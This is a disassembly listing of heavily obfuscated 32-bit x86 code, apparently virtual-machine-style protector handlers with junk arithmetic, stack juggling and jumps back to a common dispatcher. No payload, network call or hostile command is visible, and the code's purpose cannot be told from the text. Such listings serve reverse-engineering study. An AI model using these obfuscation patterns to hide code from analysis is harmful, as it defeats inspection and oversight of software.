jmp loc_589DA4 ; --------------------------------------------------------------------------- loc_58CB73: ; CODE XREF: sub_581EE9+B980j mov dword ptr [esp-6E82h+arg_6E7A], ebp mov ebp, 7B03380Fh xor ebp, 7B03380Bh jmp loc_5907D8 ; --------------------------------------------------------------------------- loc_58CB86: ; CODE XREF: sub_581EE9+625Aj pop ebx push edx mov dl, 73h push cx push eax mov al, 6Fh jmp loc_589775 ; --------------------------------------------------------------------------- loc_58CB94: ; CODE XREF: sub_581EE9+48D3j not cl push bx mov bh, 0B3h sub cl, bh pop bx jmp loc_58F22C ; --------------------------------------------------------------------------- loc_58CBA3: ; CODE XREF: sub_581EE9+A672j pop [esp-6EECh+arg_6EE4] pop esp add esp, 4 push 1813h mov [esp-6EF4h+arg_6EEC], ebp push edx push 64BC1A49h jmp loc_589C75 ; --------------------------------------------------------------------------- loc_58CBC0: ; DATA XREF: sub_581EE9+3BD3o push [esp-6EECh+arg_6EE4] pop eax jmp loc_58D86E ; --------------------------------------------------------------------------- loc_58CBC9: ; CODE XREF: sub_581EE9+D90Aj xor eax, ebx push 4A9h mov [esp-6EE8h+arg_6EE0], edi push 432C00A1h pop edi inc edi push eax jmp loc_5887CB ; --------------------------------------------------------------------------- loc_58CBE0: ; CODE XREF: sub_581EE9+FC36j mov ebx, 8C10FCEh sub ebx, 1 shl ebx, 3 jmp loc_58AE1A ; --------------------------------------------------------------------------- loc_58CBF3: ; CODE XREF: sub_581EE9+5053j pop ebx push eax jmp loc_587168 ; --------------------------------------------------------------------------- loc_58CBFA: ; CODE XREF: sub_581EE9+7C6Ej add eax, 4 push edi mov edi, 4 add eax, edi jmp loc_58DCDB ; --------------------------------------------------------------------------- loc_58CC0C: ; CODE XREF: sub_581EE9+585Ej and [edi+1Ch], eax mov eax, [esp-6ECAh+arg_6EC2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EC6h+arg_6EBE] jmp loc_591900 ; --------------------------------------------------------------------------- loc_58CC27: ; CODE XREF: sub_581EE9+4A48j push ecx mov ecx, 9C228C46h add edx, 0D4D1BE5h sub edx, ecx sub edx, 0D4D1BE5h pop ecx mov edi, edx pop edx xor edi, 1199205Bh push edi mov esi, [esp-6ED4h+arg_6ECA+2] add esp, 4 push [esp-6ED8h+arg_6ECE+2] jmp loc_591547 ; --------------------------------------------------------------------------- loc_58CC54: ; CODE XREF: sub_581EE9+6431j pop edi push edi jmp loc_590DB4 ; --------------------------------------------------------------------------- loc_58CC5B: ; CODE XREF: sub_581EE9+BACDj inc esi shr esi, 3 push 0F86h mov [esp-6ED6h+arg_6ECE], ecx mov ecx, 7B732941h add esi, ecx mov ecx, [esp-6ED6h+arg_6ECE] add esp, 4 xor edx, esi pop esi add ebp, edx jmp loc_58B25E ; --------------------------------------------------------------------------- loc_58CC7E: ; CODE XREF: sub_581EE9+A9BDj push ebx mov ebx, 4C37318Dh sub ebp, ebx mov ebx, [esp-6ED6h+arg_6ECE] add esp, 4 pop ebx add ebp, 2 push ebp push [esp-6EDAh+arg_6ED6] pop ebp pop [esp-6EDAh+arg_6ED2] mov esp, [esp-6EDEh+arg_6ED6] mov ax, word ptr [esp-6EDEh+arg_6ED6] push ecx mov ecx, esp add ecx, 4 push edi sub esp, 4 mov [esp-6ED2h+arg_6ECA], edx push ecx push 5AC45BF7h pop ecx sub ecx, 5AC45BF5h push ecx add [esp-6ECAh+arg_6EC2], 41E213D9h pop edx sub edx, 41E213D9h pop ecx jmp loc_587FBB ; --------------------------------------------------------------------------- loc_58CCD2: ; CODE XREF: sub_581EE9+EAFBj inc ebp not ebp not ebp push ebp inc [esp-6ECEh+arg_6EC6] jmp loc_58A299 ; --------------------------------------------------------------------------- loc_58CCE0: ; CODE XREF: sub_581EE9+4F10j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58CCE5: ; CODE XREF: sub_581EE9+7138j push ax mov al, 0BCh sub bl, al pop ax mov cx, word ptr [esp-6EA8h+arg_6E9E+2] add esp, 2 movzx eax, al mov dx, word ptr [esp-6EACh+arg_6EA4] push 3812h mov [esp-6EA8h+arg_6E9E+2], edx push esp mov edx, [esp-6EA4h+arg_6E9A+2] add esp, 4 add edx, 4 push eax push ecx push 5F42782Dh pop ecx inc ecx jmp loc_589631 ; --------------------------------------------------------------------------- loc_58CD21: ; CODE XREF: sub_581EE9+4835j mov ecx, 11A636D7h mov ebx, ecx pop ecx sub ebx, 76495491h sub ebx, 67D2BDEDh mov esi, ebx pop ebx push ecx push edx jmp loc_58A4BE ; --------------------------------------------------------------------------- loc_58CD3F: ; CODE XREF: sub_581EE9+F99Dj xor ebp, 3D6800BDh jmp loc_58E1DD ; --------------------------------------------------------------------------- loc_58CD4A: ; CODE XREF: sub_581EE9+716Ej sub ebx, ecx push eax jmp loc_58DD57 ; --------------------------------------------------------------------------- loc_58CD52: ; CODE XREF: sub_581EE9+F5F7j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EB2h+arg_6EA8+2] mov esp, [esp-6EB2h+arg_6EA8+2] add ebx, 6892FD5h add ebx, eax push edx mov edx, 6892FD5h sub ebx, edx pop edx jmp loc_58C7B2 ; --------------------------------------------------------------------------- loc_58CD79: ; CODE XREF: sub_581EE9+C7B5j add esp, 4 jmp loc_58D6AE ; --------------------------------------------------------------------------- loc_58CD84: ; CODE XREF: sub_581EE9+5146j mov edi, [esp-6EEEh+arg_6EE4+2] push ebx mov ebx, esp add ebx, 4 jmp loc_586F96 ; --------------------------------------------------------------------------- loc_58CD95: ; CODE XREF: sub_581EE9+5370j pop edx add al, 0B5h mov dx, word ptr [esp-6EFEh+arg_6EF6] push esi mov esi, esp jmp loc_58B86C ; --------------------------------------------------------------------------- loc_58CDA4: ; CODE XREF: sub_581EE9+BF02j pop cx add dl, 52h sub al, dl pop edx sub esp, 4 mov [esp+0], edx jmp loc_58BEBD ; --------------------------------------------------------------------------- loc_58CDBA: ; CODE XREF: sub_581EE9+6702j add esp, 4 push 2790h mov [esp-6ECEh+arg_6EC6], esi push ebx mov ebx, 3BD70B3Dh jmp loc_5891C6 ; --------------------------------------------------------------------------- loc_58CDD0: ; CODE XREF: sub_581EE9+57DEj add ebx, 53DD7984h jmp loc_58A156 ; --------------------------------------------------------------------------- loc_58CDDB: ; CODE XREF: sub_581EE9+465Dj push ebx jmp loc_58E87F ; --------------------------------------------------------------------------- loc_58CDE1: ; DATA XREF: sub_581EE9+3C7Bo push dword ptr [esp] pop eax push ebx push esp jmp loc_58D431 ; --------------------------------------------------------------------------- loc_58CDEC: ; CODE XREF: sub_581EE9+DCC1j add eax, 57147AA9h add eax, 123D5BA9h add eax, esi sub eax, 123D5BA9h jmp loc_58F7A6 ; --------------------------------------------------------------------------- loc_58CE02: ; CODE XREF: sub_581EE9+CB8Fj push ecx jmp loc_5913A0 ; --------------------------------------------------------------------------- loc_58CE08: ; CODE XREF: sub_581EE9+D47Bj add edx, 1FAE3E27h shr edx, 3 push ebp mov ebp, 53DD0F1Eh sub edx, ebp pop ebp push esi mov esi, 5DAC3FB3h and esi, 7ECE0DEBh shr esi, 6 xor esi, 0B435650Dh xor edx, esi pop esi add eax, edx pop edx jmp loc_58C3AB ; --------------------------------------------------------------------------- loc_58CE3A: ; CODE XREF: sub_581EE9+44C7j sub esp, 2 mov word ptr [esp-6EE0h+arg_6ED6+2], cx mov ch, 80h xor al, ch jmp loc_587A71 ; --------------------------------------------------------------------------- loc_58CE4D: ; CODE XREF: sub_581EE9+7300j dec ch push eax jmp loc_59121C ; --------------------------------------------------------------------------- loc_58CE55: ; CODE XREF: sub_581EE9+EFE8j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EC0h+arg_6EB6+2] pop esp sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], eax mov eax, 1CDB3E25h add eax, 0E324C1DFh sub esi, 18B17327h add esi, eax jmp loc_586AFC ; --------------------------------------------------------------------------- loc_58CE80: ; CODE XREF: sub_581EE9+F8BEj push edi jmp loc_589D0C ; --------------------------------------------------------------------------- loc_58CE86: ; CODE XREF: sub_581EE9+D746j pop esp shl [esp-6EC0h+arg_6EB6+2], cl jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58CE8F: ; CODE XREF: sub_581EE9+B5A9j add eax, 58544318h xor eax, 0D40EDEBCh sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], ebp mov ebp, eax mov edi, ebp jmp loc_587ABE ; --------------------------------------------------------------------------- loc_58CEA8: ; CODE XREF: sub_581EE9+8430j push edi jmp loc_58FB0F ; --------------------------------------------------------------------------- loc_58CEAE: ; CODE XREF: sub_581EE9+896Ej sub ch, 0C4h add ch, 4Eh xor ch, 0Eh add bl, ch mov ecx, [esp-6ECEh+arg_6EC6] add esp, 4 jmp loc_58D53E ; --------------------------------------------------------------------------- loc_58CEC4: ; CODE XREF: sub_581EE9+DD5Bj mov esi, eax jmp loc_590685 ; --------------------------------------------------------------------------- loc_58CECB: ; CODE XREF: sub_581EE9+8DF4j add bh, ch add bh, 95h pop ecx push bx jmp loc_58905C ; --------------------------------------------------------------------------- loc_58CED8: ; CODE XREF: sub_581EE9+CB9Ej push bx not byte ptr [esp+0] pop bx jmp loc_5905EF ; --------------------------------------------------------------------------- loc_58CEE4: ; DATA XREF: sub_581EE9+3C5Fo push [esp-6EE4h+arg_6EE0] push [esp-6EE0h+arg_6ED6+2] pop eax jmp loc_589E59 ; --------------------------------------------------------------------------- loc_58CEF1: ; CODE XREF: sub_581EE9+BFF1j push 2FBFh mov [esp-6EDCh+arg_6ED2+2], ecx mov ecx, 24h add ecx, edi push eax mov eax, 0 add eax, ecx add [eax], edx pop eax mov ecx, [esp-6EDCh+arg_6ED2+2] push edx jmp loc_58FEF0 ; --------------------------------------------------------------------------- loc_58CF14: ; DATA XREF: sub_581EE9+3D87o lodsd jmp loc_58C7F7 ; --------------------------------------------------------------------------- loc_58CF1A: ; CODE XREF: sub_581EE9+9B6Aj add esp, 4 dec ebp xchg esi, ebp not esi xchg esi, ebp sub ebp, 384A5988h add eax, ebp pop ebp push 6A52h mov [esp-6EFEh+arg_6EF6], ebp mov ebp, 50D273Bh jmp loc_58D698 ; --------------------------------------------------------------------------- loc_58CF42: ; CODE XREF: sub_581EE9+DD12j mov [esp-6EFEh+arg_6EF6], edx push 1 mov edx, [esp-6EFAh+arg_6EF0+2] jmp loc_58DED7 ; --------------------------------------------------------------------------- loc_58CF52: ; CODE XREF: sub_581EE9+E9F9j mov [esp-6EFAh+arg_6EF0+2], esi push 400h mov esi, [esp-6EF6h+arg_6EEC+2] add esp, 4 or [edi+1Ch], esi mov esi, [esp-6EFAh+arg_6EF0+2] push edi push esp jmp loc_587ED9 ; --------------------------------------------------------------------------- loc_58CF70: ; CODE XREF: sub_581EE9+5879j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58CF75: ; CODE XREF: sub_581EE9+F4F5j push eax push 7C7Ah mov [esp-6EC4h+arg_6EBA+2], esp add [esp-6EC4h+arg_6EBA+2], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp-6EC8h+arg_6EBE+2] jmp loc_58A136 ; --------------------------------------------------------------------------- loc_58CF95: ; CODE XREF: sub_581EE9+9360j add esp, 4 mov esi, [esp-6EC2h+arg_6EBA] add esp, 4 push 69h mov [esp-6EC2h+arg_6EBA], esi push ecx mov ecx, 3FBA737Fh mov esi, 2B70B94h jmp loc_5875FA ; --------------------------------------------------------------------------- loc_58CFB9: ; CODE XREF: sub_581EE9+8C2Bj push 1A3Ah mov [esp+0], esi mov esi, 26B16F6Ah shl esi, 7 shl esi, 8 add esi, 849F4C77h add esi, 0FFFFFFFFh shl esi, 8 jmp loc_58C578 ; --------------------------------------------------------------------------- loc_58CFE0: ; CODE XREF: sub_581EE9+983Cj add eax, 38EA3BC8h sub eax, esi push edi mov edi, 38EA3BC8h jmp loc_58723A ; --------------------------------------------------------------------------- loc_58CFF2: ; CODE XREF: sub_581EE9+85ACj add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_58DC98 ; --------------------------------------------------------------------------- loc_58D006: ; CODE XREF: sub_581EE9+6925j push edi mov edi, ebx jmp loc_58BBC8 ; --------------------------------------------------------------------------- loc_58D00E: ; CODE XREF: sub_581EE9+C37Aj pop eax push ebp mov ebp, esp add ebp, 4 push 5E6Ah mov [esp-6EC8h+arg_6EBE+2], esi jmp loc_58C746 ; --------------------------------------------------------------------------- loc_58D025: ; CODE XREF: sub_581EE9+C95Cj add ecx, 578B5A71h mov edi, [esp-6EC8h+arg_6EBE+2] push 68E6h mov [esp-6EC4h+arg_6EBA+2], esi mov esi, esp push ebp mov ebp, 66683AEDh dec ebp or ebp, 5D8A4A56h add ebp, 4C0E71D3h sub ebp, 73E04F2Eh neg ebp sub ebp, 0A7E76259h add esi, ebp pop ebp add esi, 4 xchg esi, [esp-6EC4h+arg_6EBA+2] jmp loc_58B1C3 ; --------------------------------------------------------------------------- loc_58D06A: ; CODE XREF: sub_581EE9+FB7Aj push [esp-6EC4h+arg_6EBA+2] jmp loc_5885CE ; --------------------------------------------------------------------------- loc_58D072: ; CODE XREF: sub_581EE9+9B3Dj sub ecx, 99498Eh jmp loc_58F78E ; --------------------------------------------------------------------------- loc_58D07D: ; CODE XREF: sub_581EE9+52E5j sub ebp, 4 xchg ebp, [esp-6ED8h+arg_6ECE+2] pop esp mov [esp-6EDCh+arg_6ED2+2], eax jmp loc_5914E5 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EDCh+arg_6ED2+2] push 39C4h mov [esp-6ED8h+arg_6ECE+2], ecx push esp pop ecx add ecx, 4 push 2E50h mov [esp-6ED4h+arg_6ECA+2], eax push esi push 71BE33E6h jmp loc_58EC37 ; --------------------------------------------------------------------------- loc_58D0B6: ; CODE XREF: sub_581EE9+9DBCj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D0BB: ; CODE XREF: sub_581EE9+EB49j mov edx, [esp-6EDAh+arg_6ED2] add esp, 4 xchg ebx, [esp-6EDEh+arg_6ED6] mov esp, [esp-6EDEh+arg_6ED6] ror [esp-6EDEh+arg_6ED6], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D0D3: ; CODE XREF: sub_581EE9+7D2Dj pop edi add edx, eax pop eax sub esp, 4 mov [esp-6ED0h+arg_6EC6+2], esi mov esi, 188959CAh jmp loc_58BD87 ; --------------------------------------------------------------------------- loc_58D0E7: ; DATA XREF: sub_581EE9+3C07o push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp-6ED2h+arg_6ECA], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D0F7: ; CODE XREF: sub_581EE9+5ED3j mov esp, [esp-6ED8h+arg_6ECE+2] mov [esp-6ED8h+arg_6ECE+2], ebp jmp loc_58BAD7 ; --------------------------------------------------------------------------- loc_58D102: ; CODE XREF: sub_581EE9+8EE1j sub ebp, ebx jmp loc_58EFD7 ; --------------------------------------------------------------------------- loc_58D109: ; CODE XREF: sub_581EE9+FB2Cj add ebx, 4 jmp loc_588A64 ; --------------------------------------------------------------------------- loc_58D114: ; CODE XREF: sub_581EE9+B8A5j push ecx push 3B96952h pop ecx not ecx jmp loc_58F3F2 ; --------------------------------------------------------------------------- loc_58D122: ; CODE XREF: sub_581EE9+B2CAj add [esp-6EC2h+arg_6EBA], 4 mov ebx, [esp-6EC2h+arg_6EBA] add esp, 4 add ebx, 4 push ebp push edx jmp loc_58C7D3 ; --------------------------------------------------------------------------- loc_58D13C: ; CODE XREF: sub_581EE9+4B0Aj xor esi, 17124426h xor ecx, esi pop esi dec ecx jmp loc_58C378 ; --------------------------------------------------------------------------- loc_58D14B: ; CODE XREF: sub_581EE9+9697j add ebp, 955DDEh sub ebp, edi push eax mov eax, 73332F88h jmp loc_589FD3 ; --------------------------------------------------------------------------- loc_58D15E: ; CODE XREF: sub_581EE9+D62Dj pop edi jmp loc_590D3F ; --------------------------------------------------------------------------- loc_58D164: ; DATA XREF: sub_581EE9+3D47o mov esp, [esp-6EC8h+arg_6EBE+2] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D16C: ; CODE XREF: sub_581EE9+55F5j push esp pop ebp jmp loc_58EE0F ; --------------------------------------------------------------------------- loc_58D173: ; CODE XREF: sub_581EE9+6733j add bl, 17h jmp loc_5864E3 ; --------------------------------------------------------------------------- loc_58D17B: ; CODE XREF: sub_581EE9+E8D5j pop esp sub ax, si mov si, word ptr [esp-6ECEh+arg_6EC6] jmp loc_58ED69 ; --------------------------------------------------------------------------- loc_58D188: ; CODE XREF: sub_581EE9+B569j mov eax, ebp jmp loc_587424 ; --------------------------------------------------------------------------- loc_58D18F: ; CODE XREF: sub_581EE9+FC50j sub esi, edi pop edi jmp loc_588AAC ; --------------------------------------------------------------------------- loc_58D197: ; CODE XREF: sub_581EE9+902Fj pop esp mov cx, word ptr [esp-6EDCh+arg_6ED2+2] jmp loc_586B5E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D1B0: ; CODE XREF: sub_581EE9+A72Aj mov [esp+0], esp jmp loc_58D122 ; --------------------------------------------------------------------------- loc_58D1B8: ; CODE XREF: sub_581EE9+7D9Bj mov ebp, edx mov edx, [esp-6ED4h+arg_6ECA+2] add esp, 4 jmp loc_588299 ; --------------------------------------------------------------------------- loc_58D1C5: ; CODE XREF: sub_581EE9+D088j mov esp, [esp-6ED8h+arg_6ECE+2] pop [esp-6ED8h+arg_6ECE+2] jmp loc_587E3F ; --------------------------------------------------------------------------- loc_58D1D0: ; DATA XREF: sub_581EE9+3D5Bo mov cx, word ptr [esp-6EDCh+arg_6ED2+2] push esi mov esi, esp push edi jmp loc_588B0E ; --------------------------------------------------------------------------- loc_58D1DD: ; CODE XREF: sub_581EE9+72E5j add edx, 4 add edx, 4 xchg edx, [esp-6EC8h+arg_6EBE+2] pop esp add ebx, esi mov esi, [esp-6ECCh+arg_6EC2+2] add esp, 4 add ebx, 49555767h push edi mov edi, 162C031Dh add ebx, edi pop edi add ebx, 5EC70940h add ebx, eax jmp loc_58A419 ; --------------------------------------------------------------------------- loc_58D20E: ; CODE XREF: sub_581EE9+EC12j mov [esp-6ED0h+arg_6EC6+2], eax push 4FF1h mov [esp-6ECCh+arg_6EC2+2], esi jmp loc_586661 ; --------------------------------------------------------------------------- loc_58D21E: ; CODE XREF: sub_581EE9+C967j sub al, 23h pop edx pop edx push ebx push ecx mov ch, 97h shr ch, 6 sub ch, 0D3h and ch, 0A4h sub ch, 0C2h jmp loc_588D12 ; --------------------------------------------------------------------------- loc_58D237: ; CODE XREF: sub_581EE9+A909j add ebp, 186D5A08h jmp loc_585F91 ; --------------------------------------------------------------------------- loc_58D242: ; CODE XREF: sub_581EE9+3FB3j inc ecx shr ecx, 2 jmp loc_58990D ; --------------------------------------------------------------------------- loc_58D24B: ; DATA XREF: sub_581EE9+3C3Bo push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp-6ED6h+arg_6ECE], al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D25A: ; CODE XREF: sub_581EE9+D122j pop ebp mov eax, edi pop edi mov edx, eax pop eax push edx not [esp-6EDAh+arg_6ED2] pop edx and edx, 563046A7h push ecx mov ecx, 58EF7D52h jmp loc_58BFDD ; --------------------------------------------------------------------------- loc_58D277: ; DATA XREF: sub_581EE9+3C2Bo sub esp, 2 mov word ptr [esp-6EF6h+arg_6EEC+2], cx push small word ptr [esp-6EF6h+arg_6EF0] mov cx, word ptr [esp-6EF4h+arg_6EEC] jmp loc_58E286 ; --------------------------------------------------------------------------- loc_58D28C: ; CODE XREF: sub_581EE9+7C07j pop esp sub word ptr [esp-6F06h+arg_6EFE], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D297: ; CODE XREF: sub_581EE9+6687j push ebp push [esp-6EF2h+arg_6EEC+2] pop ebp jmp loc_58F584 ; --------------------------------------------------------------------------- loc_58D2A2: ; CODE XREF: sub_581EE9+B4DEj sub eax, edx pop edx add eax, 713F3E3Fh add eax, ebx sub eax, 713F3E3Fh add eax, 2D5E017Ah add eax, 32A57799h mov ebx, [esp-6EF6h+arg_6EEC+2] push ebp push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi push edx mov edx, 4 add ebp, edx jmp loc_587B06 ; --------------------------------------------------------------------------- loc_58D2D7: ; CODE XREF: sub_581EE9+676Ej push [esp-6ECAh+arg_6EC2] mov edx, [esp-6EC6h+arg_6EBE] jmp loc_5913C3 ; --------------------------------------------------------------------------- loc_58D2E2: ; CODE XREF: sub_581EE9+4992j add [esp-6ECAh+arg_6EC2], 6EC7271Bh jmp loc_588FFD ; --------------------------------------------------------------------------- loc_58D2EE: ; CODE XREF: sub_581EE9+BD17j pop bx jmp loc_5888E3 ; --------------------------------------------------------------------------- loc_58D2F5: ; CODE XREF: sub_581EE9+4474j xor esi, [esp-6EE8h+arg_6EE0] xor [esp-6EE8h+arg_6EE0], esi xor esi, [esp-6EE8h+arg_6EE0] mov esp, [esp-6EE8h+arg_6EE0] mov ax, word ptr [esp-6EE8h+arg_6EE0] jmp loc_58C2F8 ; --------------------------------------------------------------------------- loc_58D30A: ; CODE XREF: sub_581EE9+A4CEj sub eax, 0D0056BDh push ebx jmp loc_58820E ; --------------------------------------------------------------------------- loc_58D315: ; CODE XREF: sub_581EE9+CE7Bj inc ecx shl ecx, 3 jmp loc_590065 ; --------------------------------------------------------------------------- loc_58D31E: ; DATA XREF: sub_581EE9+3C8Bo mov cx, word ptr [esp-6EFEh+arg_6EF6] jmp loc_589FAD ; --------------------------------------------------------------------------- loc_58D327: ; CODE XREF: sub_581EE9+BBD5j add bl, al jmp loc_58A49A ; --------------------------------------------------------------------------- loc_58D32E: ; CODE XREF: sub_581EE9+A8E5j mov eax, [esp-6ECAh+arg_6EC2] jmp loc_5902F1 ; --------------------------------------------------------------------------- loc_58D336: ; CODE XREF: sub_581EE9+8444j push ecx mov cl, dl mov [edi+eax*4+1], cl mov ecx, [esp-6EF6h+arg_6EEC+2] jmp loc_58F31A ; --------------------------------------------------------------------------- loc_58D345: ; CODE XREF: sub_581EE9+529Bj mov [esp-6EE0h+arg_6ED6+2], eax mov eax, 6F2D0983h jmp loc_58BA3A ; --------------------------------------------------------------------------- loc_58D352: ; CODE XREF: sub_581EE9+97E3j pop ebp pop edi add esi, ebp mov ebp, [esp-6EACh+arg_6EA4] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EA8h+arg_6E9E+2] pop esp xor esi, [esp-6EACh+arg_6EA4] xor [esp-6EACh+arg_6EA4], esi jmp loc_591653 ; --------------------------------------------------------------------------- loc_58D374: ; CODE XREF: sub_581EE9+613Dj mov esp, [esp-6EC2h+arg_6EBA] test cx, ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D380: ; CODE XREF: sub_581EE9+75EEj push ebx mov ebx, 4 sub ebp, ebx jmp loc_58DAD3 ; --------------------------------------------------------------------------- loc_58D38D: ; CODE XREF: sub_581EE9+98C6j dec ebp push edi jmp loc_58C9B2 ; --------------------------------------------------------------------------- loc_58D394: ; CODE XREF: sub_581EE9+89D7j add eax, edx pop edx push 7B70h mov [esp-6ECAh+arg_6EC2], esi jmp loc_58E943 ; --------------------------------------------------------------------------- loc_58D3A4: ; DATA XREF: sub_581EE9+3BCFo push [esp-6ECAh+arg_6EC2] jmp loc_58B9D3 ; --------------------------------------------------------------------------- loc_58D3AC: ; CODE XREF: sub_581EE9+4064j sub ecx, 5F1C5BC6h add ecx, 1B0C44CCh add ecx, 0C894453Eh and edx, ecx pop ecx xor edx, 284E0178h jmp loc_58D2A2 ; --------------------------------------------------------------------------- loc_58D3CC: ; CODE XREF: sub_581EE9+9B61j add esp, 4 push edi mov edi, 1E153AB2h or edi, 293961FFh push edx push edi push edx mov edx, 70807363h mov edi, edx pop edx mov edx, 0ED5ECAD4h add edx, edi pop edi jmp loc_5907E3 ; --------------------------------------------------------------------------- loc_58D3F6: ; CODE XREF: sub_581EE9+BF19j mov dword ptr [esp-6EAAh+arg_6EA2], eax jmp loc_58A51A ; --------------------------------------------------------------------------- loc_58D3FE: ; DATA XREF: sub_581EE9+3BFFo mov ax, [esp-6EAAh+arg_6EA2] push ecx mov ecx, esp add ecx, 4 push edi jmp loc_58FF83 ; --------------------------------------------------------------------------- loc_58D411: ; CODE XREF: sub_581EE9+9FCFj xchg ebp, [esp-6E8Ch+arg_6E84] pop ecx inc ecx push eax mov eax, 76827E56h xor eax, 361A3B57h and ecx, eax pop eax jmp loc_589C1B ; --------------------------------------------------------------------------- loc_58D429: ; CODE XREF: sub_581EE9+8248j mov [esp-6EC8h+arg_6EBE+2], ebp jmp loc_58794E ; --------------------------------------------------------------------------- loc_58D431: ; CODE XREF: sub_581EE9+AEFEj pop ebx add ebx, 4 push edi push 4 jmp loc_591405 ; --------------------------------------------------------------------------- loc_58D443: ; CODE XREF: sub_581EE9+BF3Dj sub esp, 4 mov [esp-6ECEh+arg_6EC6], ebp jmp loc_589E07 ; --------------------------------------------------------------------------- loc_58D451: ; CODE XREF: sub_581EE9+8794j pop esp jmp loc_58D188 ; --------------------------------------------------------------------------- loc_58D457: ; CODE XREF: sub_581EE9+4F26j add esp, 4 jmp loc_587638 ; --------------------------------------------------------------------------- loc_58D462: ; CODE XREF: sub_581EE9+9581j pop eax push esi mov esi, 45F707E2h not esi sub esi, 1 add esi, 45F707E8h jmp loc_59183C ; --------------------------------------------------------------------------- loc_58D47C: ; CODE XREF: sub_581EE9+F517j sub eax, esi jmp loc_587EAE ; --------------------------------------------------------------------------- loc_58D483: ; CODE XREF: sub_581EE9+BAADj sub esp, 4 mov [esp-6EACh+arg_6EA4], edi push eax mov eax, 2F775374h shl eax, 3 jmp loc_58CE8F ; --------------------------------------------------------------------------- loc_58D497: ; CODE XREF: sub_581EE9+F00Aj mov ecx, ebp mov ebp, [esp-6EA8h+arg_6E9E+2] push ebp mov ebp, esp jmp loc_58B4D5 ; --------------------------------------------------------------------------- loc_58D4A4: ; CODE XREF: sub_581EE9+5AF0j mov edx, [esp-6EACh+arg_6EA4] add esp, 4 xchg edx, edi shl edi, 2 inc edi add edi, 97C28BD9h add ebp, 0CA8161Ah add ebp, edi sub ebp, 0CA8161Ah pop edi push 43FFh mov [esp-6EB0h+arg_6EA8], ebp push [esp-6EB0h+arg_6EAC] pop ebp pop [esp-6EB0h+arg_6EA8] jmp loc_58E82D ; --------------------------------------------------------------------------- loc_58D4DD: ; CODE XREF: sub_581EE9+5A1Aj mov ebp, esp jmp loc_5912EA ; --------------------------------------------------------------------------- loc_58D4E4: ; CODE XREF: sub_581EE9+591Aj xchg edi, [esp-6EC4h+arg_6EBA+2] pop esp mov [esp-6EC8h+arg_6EBE+2], eax mov eax, esp add eax, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_58A625 ; --------------------------------------------------------------------------- loc_58D500: ; CODE XREF: sub_581EE9+4C76j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6ECEh+arg_6EC6] jmp loc_58B78E ; --------------------------------------------------------------------------- loc_58D513: ; CODE XREF: sub_581EE9+7F02j mov dh, 0F0h sub al, 21h sub al, dh add al, 21h pop dx jmp loc_58B08A ; --------------------------------------------------------------------------- loc_58D522: ; CODE XREF: sub_581EE9+7DE2j add ebx, 4 xchg ebx, [esp-6ED8h+arg_6ECE+2] jmp loc_58FBD6 ; --------------------------------------------------------------------------- loc_58D52D: ; CODE XREF: sub_581EE9+DAB0j mov ebx, 121D0A9Dh push eax push esi mov esi, 7A319CFh jmp loc_586152 ; --------------------------------------------------------------------------- loc_58D53E: ; CODE XREF: sub_581EE9+AFD6j add bl, al sub bl, 8Eh push cx mov cl, 0B3h push 2FCDh mov [esp-6ECCh+arg_6EC2+2], eax jmp loc_58A94C ; --------------------------------------------------------------------------- loc_58D554: ; CODE XREF: sub_581EE9+743Dj mov eax, 47EE390Dh or eax, 0E546849h add eax, 2074006Dh jmp loc_58F6BD ; --------------------------------------------------------------------------- loc_58D568: ; CODE XREF: sub_581EE9+9225j push ebx jmp loc_587B0C ; --------------------------------------------------------------------------- loc_58D56E: ; CODE XREF: sub_581EE9+88D2j pop ebx jmp loc_59118A ; --------------------------------------------------------------------------- loc_58D574: ; CODE XREF: sub_581EE9+9B96j add esp, 4 xchg ecx, [esp-6ECCh+arg_6EC2+2] pop esp sar word ptr [esp-6ED0h+arg_6EC6+2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D588: ; CODE XREF: sub_581EE9+C619j sub ebx, edi mov edi, [esp-6ECCh+arg_6EC2+2] add esp, 4 push 3AE9h mov [esp-6ECCh+arg_6EC2+2], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push 1438h mov [esp-6EC8h+arg_6EBE+2], ecx push [esp-6EC8h+arg_6EC2+2] push [esp-6EC4h+arg_6EBA+2] pop ecx push ebp jmp loc_58B813 ; --------------------------------------------------------------------------- loc_58D5BC: ; CODE XREF: sub_581EE9+726Bj add esp, 4 sub al, 33h jmp loc_58AE43 ; --------------------------------------------------------------------------- loc_58D5C9: ; CODE XREF: sub_581EE9+E077j push 1EBBh mov [esp-6EE4h+arg_6EDC], esp add [esp-6EE4h+arg_6EDC], 4 pop [esp-6EE4h+arg_6EDC] add [esp-6EE8h+arg_6EE0], 4 jmp loc_58BFB7 ; --------------------------------------------------------------------------- loc_58D5E1: ; CODE XREF: sub_581EE9+C6F5j neg edi not edi and edi, 76E962F2h or edi, 356731D4h add edi, 6E81C27Ch sub edx, edi pop edi xor eax, edx pop edx mov ecx, eax 